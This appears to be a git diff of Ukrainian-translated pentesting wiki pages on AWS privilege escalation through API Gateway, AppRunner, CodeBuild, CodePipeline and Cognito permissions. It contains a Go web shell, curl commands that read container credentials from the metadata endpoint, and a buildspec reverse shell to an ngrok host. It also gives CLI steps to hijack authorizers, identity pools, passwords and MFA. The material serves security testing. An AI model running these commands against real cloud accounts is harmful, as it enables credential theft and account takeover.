IAM role. + +### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment` + +> [!NOTE] +> Потрібно протестувати + +Зловмисник, який має дозволи `apigateway:UpdateAuthorizer` та `apigateway:CreateDeployment`, може **змінити існуючий API Gateway authorizer** щоб обійти перевірки безпеки або виконувати довільний код під час обробки API-запитів. +```bash +API_ID="your-api-id" +AUTHORIZER_ID="your-authorizer-id" +LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name" + +# Update the API Gateway authorizer +aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations + +# Create a deployment for the updated API Gateway REST API +aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod +``` +**Можливий вплив**: Обхід перевірок безпеки, несанкціонований доступ до API-ресурсів. + +### `apigateway:UpdateVpcLink` + +> [!NOTE] +> Потребує перевірки + +Зловмисник, який має дозвіл `apigateway:UpdateVpcLink`, може **змінити існуючий VPC Link, щоб він вказував на інший Network Load Balancer, потенційно перенаправляючи приватний трафік API до несанкціонованих або шкідливих ресурсів**. +```bash +VPC_LINK_ID="your-vpc-link-id" +NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188" + +# Update the VPC Link +aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]" +``` +**Потенційний вплив**: Несанкціонований доступ до приватних API-ресурсів, перехоплення або порушення трафіку API. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md deleted file mode 100644 index c464b03cb..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md +++ /dev/null @@ -1,72 +0,0 @@ -# AWS - AppRunner Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## AppRunner - -### `iam:PassRole`, `apprunner:CreateService` - -Зловмисник з цими дозволами може створити сервіс AppRunner з прикріпленою IAM роллю, потенційно підвищуючи привілеї, отримуючи доступ до облікових даних ролі. - -Зловмисник спочатку створює Dockerfile, який слугує веб-оболонкою для виконання довільних команд на контейнері AppRunner. -```Dockerfile -FROM golang:1.24-bookworm -WORKDIR /app -RUN apt-get update && apt-get install -y ca-certificates curl -RUN cat <<'EOF' > main.go -package main - -import ( -"fmt" -"net/http" -"os/exec" -) - -func main() { -http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { -command := exec.Command("sh", "-c", r.URL.Query().Get("cmd")) -output, err := command.CombinedOutput() -if err != nil { -fmt.Fprint(w, err.Error(), output) -return -} - -fmt.Fprint(w, string(output)) -}) -http.ListenAndServe("0.0.0.0:3000", nil) -} -EOF -RUN go mod init test && go build -o main . -EXPOSE 3000 -CMD ["./main"] -``` -Потім надішліть це зображення до репозиторію ECR. -Надсилаючи зображення до публічного репозиторію в обліковому записі AWS, контрольованому зловмисником, можливе підвищення привілеїв, навіть якщо обліковий запис жертви не має дозволів на маніпуляцію з ECR. -```sh -IMAGE_NAME=public.ecr.aws///:latest -docker buildx build --platform linux/amd64 -t $IMAGE_NAME . -aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws -docker push $IMAGE_NAME -docker logout public.ecr.aws -``` -Далі зловмисник створює сервіс AppRunner, налаштований з цим зображенням веб-оболонки та IAM-роллю, яку він хоче експлуатувати. -```bash -aws apprunner create-service \ ---service-name malicious-service \ ---source-configuration '{ -"ImageRepository": { -"ImageIdentifier": "public.ecr.aws///:latest", -"ImageRepositoryType": "ECR_PUBLIC", -"ImageConfiguration": { "Port": "3000" } -} -}' \ ---instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \ ---query Service.ServiceUrl -``` -Після завершення створення служби використовуйте веб-оболонку, щоб отримати облікові дані контейнера та отримати дозволи IAM-ролі, прикріпленої до AppRunner. -```sh -curl 'https:///?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI' -``` -**Потенційний вплив:** Пряме підвищення привілеїв до будь-якої IAM ролі, яка може бути прикріплена до сервісів AppRunner. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md new file mode 100644 index 000000000..524be1c48 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md @@ -0,0 +1,72 @@ +# AWS - AppRunner Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## AppRunner + +### `iam:PassRole`, `apprunner:CreateService` + +Атакуючий з цими дозволами може створити AppRunner сервіс з прикріпленою IAM роллю, потенційно підвищивши привілеї шляхом доступу до облікових даних ролі. + +Атакуючий спочатку створює Dockerfile, який слугує як web shell для виконання довільних команд на контейнері AppRunner. +```Dockerfile +FROM golang:1.24-bookworm +WORKDIR /app +RUN apt-get update && apt-get install -y ca-certificates curl +RUN cat <<'EOF' > main.go +package main + +import ( +"fmt" +"net/http" +"os/exec" +) + +func main() { +http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { +command := exec.Command("sh", "-c", r.URL.Query().Get("cmd")) +output, err := command.CombinedOutput() +if err != nil { +fmt.Fprint(w, err.Error(), output) +return +} + +fmt.Fprint(w, string(output)) +}) +http.ListenAndServe("0.0.0.0:3000", nil) +} +EOF +RUN go mod init test && go build -o main . +EXPOSE 3000 +CMD ["./main"] +``` +Потім завантажте цей образ у репозиторій ECR. +Завантаживши образ у публічний репозиторій в акаунті AWS, контрольованому нападником, можливе підвищення привілеїв навіть якщо акаунт жертви не має дозволів на керування ECR. +```sh +IMAGE_NAME=public.ecr.aws///:latest +docker buildx build --platform linux/amd64 -t $IMAGE_NAME . +aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws +docker push $IMAGE_NAME +docker logout public.ecr.aws +``` +Далі зловмисник створює службу AppRunner, налаштовану з використанням цього web shell image та IAM Role, яку він хоче експлуатувати. +```bash +aws apprunner create-service \ +--service-name malicious-service \ +--source-configuration '{ +"ImageRepository": { +"ImageIdentifier": "public.ecr.aws///:latest", +"ImageRepositoryType": "ECR_PUBLIC", +"ImageConfiguration": { "Port": "3000" } +} +}' \ +--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \ +--query Service.ServiceUrl +``` +Після завершення створення сервісу використайте web shell, щоб отримати container credentials і визначити дозволи IAM Role, прикріпленої до AppRunner. +```sh +curl 'https:///?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI' +``` +**Потенційний вплив:** Безпосереднє підвищення привілеїв до будь-якої IAM role, яку можна прикріпити до сервісів AppRunner. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md deleted file mode 100644 index f4e2282e8..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md +++ /dev/null @@ -1,9 +0,0 @@ -# AWS - Chime Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -### chime:CreateApiKey - -TODO - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md new file mode 100644 index 000000000..72ef85536 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md @@ -0,0 +1,9 @@ +# AWS - Chime Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +### chime:CreateApiKey + +Потрібно доповнити + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md similarity index 63% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md index 13acd21aa..29f32f8c4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md @@ -1,18 +1,18 @@ # AWS - Codebuild Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## codebuild -Отримайте більше інформації в: +Детальніше: {{#ref}} -../aws-services/aws-codebuild-enum.md +../../aws-services/aws-codebuild-enum.md {{#endref}} ### `codebuild:StartBuild` | `codebuild:StartBuildBatch` -Тільки з однією з цих дозволів достатньо, щоб запустити збірку з новим buildspec і вкрасти токен iam ролі, призначеної проекту: +Достатньо одного з цих дозволів, щоб запустити build із новим buildspec та викрасти token iam role, призначеної проєкту: {{#tabs }} {{#tab name="StartBuild" }} @@ -58,19 +58,16 @@ aws codebuild start-build-batch --project --buildspec-override fi {{#endtab }} {{#endtabs }} -**Примітка**: Різниця між цими двома командами полягає в тому, що: +**Примітка**: Відмінність між цими двома командами полягає в тому, що: -- `StartBuild` запускає одну задачу збірки, використовуючи конкретний `buildspec.yml`. -- `StartBuildBatch` дозволяє вам запустити пакет збірок з більш складними конфігураціями (наприклад, запуск кількох збірок паралельно). +- `StartBuild` ініціює одне завдання збірки з використанням конкретного `buildspec.yml`. +- `StartBuildBatch` дозволяє запустити пакет збірок з більш складними конфігураціями (наприклад, запуск кількох збірок паралельно). -**Можливий вплив:** Пряме підвищення привілеїв до прикріплених ролей AWS Codebuild. +**Потенційний вплив:** Пряме privesc до приєднаних ролей AWS Codebuild. ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Зловмисник з правами **`iam:PassRole`, `codebuild:CreateProject` та `codebuild:StartBuild` або `codebuild:StartBuildBatch`** зможе **підвищити привілеї до будь-якої ролі IAM codebuild**, створивши працюючу. - -{{#tabs }} -{{#tab name="Example1" }} +Атакувач з правами **`iam:PassRole`, `codebuild:CreateProject`, та `codebuild:StartBuild` або `codebuild:StartBuildBatch`** зможе **підвищити привілеї до будь-якої ролі IAM у CodeBuild**, створивши та запустивши відповідний проект. ```bash # Enumerate then env and get creds REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" @@ -171,20 +168,20 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data {{#endtab }} {{#endtabs }} -**Потенційний вплив:** Пряме підвищення привілеїв до будь-якої ролі AWS Codebuild. +**Potential Impact:** Прямий privesc до будь-якої ролі AWS Codebuild. > [!WARNING] -> У **контейнері Codebuild** файл `/codebuild/output/tmp/env.sh` містить всі змінні середовища, необхідні для доступу до **облікових даних метаданих**. - -> Цей файл містить **змінну середовища `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**, яка містить **URL-адресу** для доступу до облікових даних. Це буде щось на зразок `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` - -> Додайте це до URL **`http://169.254.170.2/`** і ви зможете вивантажити облікові дані ролі. - -> Більше того, він також містить **змінну середовища `ECS_CONTAINER_METADATA_URI`**, яка містить повний URL для отримання **інформації про метадані контейнера**. +> У **Codebuild container** файл `/codebuild/output/tmp/env.sh` містить усі env vars, необхідні для доступу до **metadata credentials**. +> +> Цей файл містить **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**, який містить **URL path** для доступу до credentials. Він виглядатиме приблизно так `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` +> +> Додайте це до URL **`http://169.254.170.2/`** і ви зможете dump role credentials. +> +> Крім того, він також містить **env variable `ECS_CONTAINER_METADATA_URI`**, який містить повний URL для отримання **metadata info about the container**. ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Так само, як у попередньому розділі, якщо замість створення проекту збірки ви можете його змінити, ви можете вказати IAM роль і вкрасти токен. +Як і в попередньому розділі, якщо замість створення build project ви можете його модифікувати, ви можете вказати IAM Role і steal the token ```bash REV_PATH="/tmp/codebuild_pwn.json" @@ -218,11 +215,11 @@ aws codebuild update-project --name codebuild-demo-project --cli-input-json file aws codebuild start-build --project-name codebuild-demo-project ``` -**Потенційний вплив:** Пряме підвищення привілеїв до будь-якої ролі AWS Codebuild. +**Потенційний вплив:** Direct privesc to any AWS Codebuild role. ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Як у попередньому розділі, але **без дозволу `iam:PassRole`**, ви можете зловживати цими дозволами, щоб **модифікувати існуючі проекти Codebuild та отримати доступ до ролі, яку вони вже мають призначену**. +Як і в попередньому розділі, але **без дозволу `iam:PassRole`**, ви можете зловживати цими дозволами, щоб **змінювати існуючі проекти Codebuild та отримувати доступ до ролі, яка вже їм призначена**. {{#tabs }} {{#tab name="StartBuild" }} @@ -298,13 +295,13 @@ aws codebuild start-build-batch --project-name codebuild-demo-project {{#endtab }} {{#endtabs }} -**Потенційний вплив:** Пряме підвищення привілеїв до прикріплених ролей AWS Codebuild. +**Можливий вплив:** Прямий privesc до прикріплених ролей AWS Codebuild. ### SSM -Маючи **достатньо прав для запуску сесії ssm**, можна потрапити **в проект Codebuild**, що будується. +Маючи **достатні дозволи для запуску ssm session**, можна потрапити **всередину проекту Codebuild**, що будується. -Проект codebuild повинен мати точку зупинки: +Проект Codebuild має містити breakpoint:
phases:
 pre_build:
@@ -319,13 +316,13 @@ commands:
 aws codebuild batch-get-builds --ids  --region  --output json
 aws ssm start-session --target  --region 
 ```
-Для отримання додаткової інформації [**перевірте документацію**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
+For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
 
 ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
 
-Зловмисник, який може запустити/перезапустити збірку конкретного проекту CodeBuild, що зберігає свій файл `buildspec.yml` у S3 бакеті, до якого зловмисник має доступ на запис, може отримати виконання команд у процесі CodeBuild.
+Attacker, який може запустити або перезапустити збірку конкретного проекту CodeBuild, що зберігає свій `buildspec.yml` у S3 bucket, до якого attacker має права на запис, може отримати виконання команд у процесі CodeBuild.
 
-Примітка: ескалація має значення лише якщо робітник CodeBuild має іншу роль, сподіваємось, більш привілейовану, ніж роль зловмисника.
+Примітка: ескалація стосується лише випадку, коли CodeBuild worker має іншу роль, бажано більш привілейовану, ніж роль attacker.
 ```bash
 aws s3 cp s3:///buildspec.yml ./
 
@@ -342,7 +339,7 @@ aws codebuild start-build --project-name 
 
 # Wait for the reverse shell :)
 ```
-Ви можете використовувати щось на зразок цього **buildspec** для отримання **reverse shell**:
+Ви можете використати щось на зразок цього **buildspec**, щоб отримати **reverse shell**:
 ```yaml:buildspec.yml
 version: 0.2
 
@@ -351,13 +348,13 @@ build:
 commands:
 - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
 ```
-**Вплив:** Пряме підвищення привілеїв до ролі, що використовується працівником AWS CodeBuild, яка зазвичай має високі привілеї.
+**Impact:** Прямий privesc до ролі, яку використовує AWS CodeBuild worker, яка зазвичай має високі привілеї.
 
 > [!WARNING]
-> Зверніть увагу, що buildspec може бути очікуваний у форматі zip, тому зловмиснику потрібно буде завантажити, розпакувати, змінити `buildspec.yml` з кореневої директорії, знову запакувати та завантажити
+> Зверніть увагу, що buildspec може очікуватися у zip-форматі, тому зловмиснику доведеться завантажити, розпакувати, змінити `buildspec.yml` у кореневому каталозі, знову запакувати та завантажити
 
 Більше деталей можна знайти [тут](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
 
-**Потенційний вплив:** Пряме підвищення привілеїв до прикріплених ролей AWS Codebuild.
+**Potential Impact:** Прямий privesc до приєднаних ролей AWS Codebuild.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
deleted file mode 100644
index a2655469d..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
+++ /dev/null
@@ -1,37 +0,0 @@
-# AWS - Codepipeline Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## codepipeline
-
-Для отримання додаткової інформації про codepipeline перегляньте:
-
-{{#ref}}
-../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
-{{#endref}}
-
-### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
-
-При створенні code pipeline ви можете вказати **IAM роль codepipeline для виконання**, тому ви могли б їх скомпрометувати.
-
-Окрім попередніх дозволів, вам знадобиться **доступ до місця, де зберігається код** (S3, ECR, github, bitbucket...)
-
-Я протестував це, виконуючи процес на веб-сторінці, дозволи, зазначені раніше, не є List/Get, які потрібні для створення codepipeline, але для його створення в вебі вам також знадобляться: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:`
-
-Під час **створення проекту збірки** ви можете вказати **команду для виконання** (rev shell?) і виконати фазу збірки як **привілейований користувач**, це конфігурація, яку атакуючий потребує для компрометації:
-
-![](<../../../images/image (276).png>)
-
-![](<../../../images/image (181).png>)
-
-### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
-
-Можливо, можна змінити роль, що використовується, і команду, що виконується в codepipeline, з попередніми дозволами.
-
-### `codepipeline:pollforjobs`
-
-[AWS згадує](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
-
-> Коли цей API викликається, CodePipeline **повертає тимчасові облікові дані для S3 бакету**, що використовується для зберігання артефактів для конвеєра, якщо дія вимагає доступу до цього S3 бакету для вхідних або вихідних артефактів. Цей API також **повертає будь-які секретні значення, визначені для дії**.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md
new file mode 100644
index 000000000..294f1b6e4
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md
@@ -0,0 +1,37 @@
+# AWS - Codepipeline Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## codepipeline
+
+For more info about codepipeline check:
+
+{{#ref}}
+../../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
+{{#endref}}
+
+### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
+
+При створенні code pipeline ви можете вказати **codepipeline IAM Role to run**, отже їх можна скомпрометувати.
+
+Окрім попередніх дозволів вам потрібен також **доступ до місця, де зберігається код** (S3, ECR, github, bitbucket...)
+
+Я перевіряв це, виконуючи процес у веб-інтерфейсі — дозволи, вказані раніше, це не ті List/Get дозволи, які потрібні для створення codepipeline, але для створення через веб вам також знадобляться: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:`
+
+Під час **створення проєкту build** можна вказати **команду для виконання** (rev shell?) і виконувати фазу збірки як **привілейований користувач** — це та конфігурація, яку атакуючий має скомпрометувати:
+
+![](<../../../images/image (276).png>)
+
+![](<../../../images/image (181).png>)
+
+### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
+
+Може бути можливо змінити роль, що використовується, та команду, яка виконується в codepipeline з попередніми дозволами.
+
+### `codepipeline:pollforjobs`
+
+[AWS mentions](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
+
+> Коли цей API викликається, CodePipeline **повертає тимчасові облікові дані для S3 bucket**, що використовується для зберігання артефактів для pipeline, якщо дія вимагає доступу до цього S3 bucket для вхідних або вихідних артефактів. Цей API також **повертає будь-які секретні значення, визначені для дії**.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
deleted file mode 100644
index f4c7dc4ae..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
+++ /dev/null
@@ -1,274 +0,0 @@
-# AWS - Cognito Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Cognito
-
-Для отримання додаткової інформації про Cognito перегляньте:
-
-{{#ref}}
-../aws-services/aws-cognito-enum/
-{{#endref}}
-
-### Збір облікових даних з Identity Pool
-
-Оскільки Cognito може надавати **облікові дані IAM ролі** як **автентифікованим**, так і **неавтентифікованим** **користувачам**, якщо ви знайдете **ID Identity Pool** додатку (повинен бути закодований в ньому), ви можете отримати нові облікові дані і, отже, privesc (всередині облікового запису AWS, де ви, ймовірно, раніше не мали жодних облікових даних).
-
-Для отримання додаткової інформації [**перегляньте цю сторінку**](../aws-unauthenticated-enum-access/#cognito).
-
-**Потенційний вплив:** Прямий privesc до ролі сервісу, прикріпленої до неавтентифікованих користувачів (і, ймовірно, до тієї, що прикріплена до автентифікованих користувачів).
-
-### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
-
-З цією дозволом ви можете **надавати будь-яку роль cognito** автентифікованим/неавтентифікованим користувачам додатку cognito.
-```bash
-aws cognito-identity set-identity-pool-roles \
---identity-pool-id  \
---roles unauthenticated=
-
-# Get credentials
-## Get one ID
-aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
-## Get creds for that id
-aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
-```
-Якщо додаток cognito **не має увімкнених неавтентифікованих користувачів**, вам також може знадобитися дозвіл `cognito-identity:UpdateIdentityPool`, щоб увімкнути його.
-
-**Потенційний вплив:** Пряме підвищення привілеїв до будь-якої ролі cognito.
-
-### `cognito-identity:update-identity-pool`
-
-Зловмисник з цим дозволом міг би, наприклад, налаштувати підконтрольний йому Cognito User Pool або будь-який інший постачальник ідентичності, де він може увійти, як **спосіб доступу до цього Cognito Identity Pool**. Тоді просто **вхід** на цьому постачальнику користувачів **дозволить йому отримати доступ до налаштованої автентифікованої ролі в Identity Pool**.
-```bash
-# This example is using a Cognito User Pool as identity provider
-## but you could use any other identity provider
-aws cognito-identity update-identity-pool \
---identity-pool-id  \
---identity-pool-name  \
-[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
---cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
-
-# Now you need to login to the User Pool you have configured
-## after having the id token of the login continue with the following commands:
-
-# In this step you should have already an ID Token
-aws cognito-identity get-id \
---identity-pool-id  \
---logins cognito-idp..amazonaws.com/=
-
-# Get the identity_id from thr previous commnad response
-aws cognito-identity get-credentials-for-identity \
---identity-id  \
---logins cognito-idp..amazonaws.com/=
-```
-Також можливо **зловживати цим дозволом, щоб дозволити базову аутентифікацію**:
-```bash
-aws cognito-identity update-identity-pool \
---identity-pool-id  \
---identity-pool-name  \
---allow-unauthenticated-identities
---allow-classic-flow
-```
-**Потенційний вплив**: Компрометація налаштованої аутентифікованої IAM ролі всередині пулу ідентичностей.
-
-### `cognito-idp:AdminAddUserToGroup`
-
-Ця дозволена дія дозволяє **додати користувача Cognito до групи Cognito**, тому зловмисник може зловживати цим дозволом, щоб додати користувача під своїм контролем до інших груп з **кращими** привілеями або **іншими IAM ролями**:
-```bash
-aws cognito-idp admin-add-user-to-group \
---user-pool-id  \
---username  \
---group-name 
-```
-**Потенційний вплив:** Привілейоване підвищення до інших груп Cognito та IAM ролей, прикріплених до груп користувачів.
-
-### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
-
-Зловмисник з цими дозволами може **створювати/оновлювати групи** з **кожною IAM роллю, яка може бути використана скомпрометованим постачальником ідентичності Cognito** і зробити скомпрометованого користувача частиною групи, отримуючи доступ до всіх цих ролей:
-```bash
-aws cognito-idp create-group --group-name Hacked --user-pool-id  --role-arn 
-```
-**Потенційний вплив:** Privesc до інших ролей IAM Cognito.
-
-### `cognito-idp:AdminConfirmSignUp`
-
-Ця дозволяє **підтвердити реєстрацію**. За замовчуванням будь-хто може увійти в програми Cognito, якщо це залишити, користувач може створити обліковий запис з будь-якими даними та підтвердити його за допомогою цього дозволу.
-```bash
-aws cognito-idp admin-confirm-sign-up \
---user-pool-id  \
---username 
-```
-**Потенційний вплив:** Непряме підвищення привілеїв до IAM ролі пулу ідентичностей для автентифікованих користувачів, якщо ви можете зареєструвати нового користувача. Непряме підвищення привілеїв до інших функцій програми, маючи можливість підтвердити будь-який обліковий запис.
-
-### `cognito-idp:AdminCreateUser`
-
-Ця дозволена дія дозволить зловмиснику створити нового користувача в пулі користувачів. Новий користувач створюється як активний, але повинен буде змінити свій пароль.
-```bash
-aws cognito-idp admin-create-user \
---user-pool-id  \
---username  \
-[--user-attributes ] ([Name=email,Value=email@gmail.com])
-[--validation-data ]
-[--temporary-password ]
-```
-**Потенційний вплив:** Пряме підвищення привілеїв до IAM ролі пулу ідентичностей для автентифікованих користувачів. Непряме підвищення привілеїв до інших функцій програми, що дозволяє створювати будь-якого користувача.
-
-### `cognito-idp:AdminEnableUser`
-
-Ці дозволи можуть допомогти в дуже крайніх випадках, коли зловмисник знайшов облікові дані вимкненого користувача і йому потрібно **включити його знову**.
-```bash
-aws cognito-idp admin-enable-user \
---user-pool-id  \
---username 
-```
-**Потенційний вплив:** Непряме підвищення привілеїв до IAM ролі пулу ідентичностей для автентифікованих користувачів та дозволів користувача, якщо зловмисник мав облікові дані для деактивованого користувача.
-
-### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
-
-Цей дозвіл дозволяє увійти за допомогою [**методу ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Для отримання додаткової інформації перейдіть за посиланням.
-
-### `cognito-idp:AdminSetUserPassword`
-
-Цей дозвіл дозволив би зловмиснику **змінити пароль будь-якого користувача**, що дозволяє йому видавати себе за будь-якого користувача (який не має увімкненої MFA).
-```bash
-aws cognito-idp admin-set-user-password \
---user-pool-id  \
---username  \
---password  \
---permanent
-```
-**Потенційний вплив:** Пряме підвищення привілеїв до потенційно будь-якого користувача, отже, доступ до всіх груп, членом яких є кожен користувач, та доступ до ролі IAM, автентифікованої через Identity Pool.
-
-### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
-
-**AdminSetUserSettings**: Зловмисник може потенційно зловживати цим дозволом, щоб встановити мобільний телефон під своїм контролем як **SMS MFA користувача**.
-```bash
-aws cognito-idp admin-set-user-settings \
---user-pool-id  \
---username  \
---mfa-options 
-```
-**SetUserMFAPreference:** Подібно до попереднього, цей дозвіл може бути використаний для налаштування переваг MFA користувача для обходу захисту MFA.
-```bash
-aws cognito-idp admin-set-user-mfa-preference \
-[--sms-mfa-settings ] \
-[--software-token-mfa-settings ] \
---username  \
---user-pool-id 
-```
-**SetUserPoolMfaConfig**: Подібно до попереднього, цей дозвіл можна використовувати для налаштування переваг MFA користувацького пулу, щоб обійти захист MFA.
-```bash
-aws cognito-idp set-user-pool-mfa-config \
---user-pool-id  \
-[--sms-mfa-configuration ] \
-[--software-token-mfa-configuration ] \
-[--mfa-configuration ]
-```
-**UpdateUserPool:** Також можливо оновити пул користувачів, щоб змінити політику MFA. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
-
-**Potential Impact:** Непряме підвищення привілеїв до потенційно будь-якого користувача, облікові дані якого відомі атакуючому, це може дозволити обійти захист MFA.
-
-### `cognito-idp:AdminUpdateUserAttributes`
-
-Атакуючий з цим дозволом може змінити електронну пошту або номер телефону або будь-який інший атрибут користувача під його контролем, щоб спробувати отримати більше привілеїв в основному додатку.\
-Це дозволяє змінити електронну пошту або номер телефону та встановити його як перевірений.
-```bash
-aws cognito-idp admin-update-user-attributes \
---user-pool-id  \
---username  \
---user-attributes 
-```
-**Потенційний вплив:** Потенційний непрямий підвищення привілеїв в основному застосунку, що використовує Cognito User Pool, який надає привілеї на основі атрибутів користувача.
-
-### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
-
